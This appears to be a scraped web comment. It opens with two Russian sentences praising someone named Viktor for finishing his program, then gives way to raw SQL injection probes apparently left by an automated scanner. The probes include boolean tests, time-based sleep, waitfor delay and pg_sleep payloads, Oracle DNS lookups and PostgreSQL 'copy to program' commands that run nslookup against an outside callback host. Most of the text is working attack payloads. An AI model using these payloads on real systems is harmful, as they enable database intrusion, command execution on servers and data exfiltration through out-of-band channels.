Виктор, чудная программа, мне очень понравилось что ты доделал своего! Молодец! :)
Отличный подход - реализация своих идей.
-1' OR 2+475-475-1=0+0+0+1 or 'iIBftZLW'='
(select(0)from(select(sleep(14.858999999999998)))v)/*'+(select(0)from(select(sleep(14.858999999999998)))v)+'"+(select(0)from(select(sleep(14.858999999999998)))v)+"*/
-1; waitfor delay '0:0:14.858999999999998' --
-1); waitfor delay '0:0:4.952999999999999' --
1 waitfor delay '0:0:9.905999999999998' --
f4gsby7n'; waitfor delay '0:0:9.905999999999998' --
-1;select pg_sleep(9.905999999999998); --
-1));select pg_sleep(9.905999999999998); --
YYAbq5hn';select pg_sleep(9.905999999999998); --
-1;select pg_sleep(14.858999999999998); --
rJpeSG5M');select pg_sleep(14.858999999999998); --
bhRfJKi1'));select pg_sleep(14.858999999999998); --
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-21295.11120.f0222.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-21296.11120.f0222.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-21297.11120.f0222.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-21300.11120.f0222.\1.bxss.me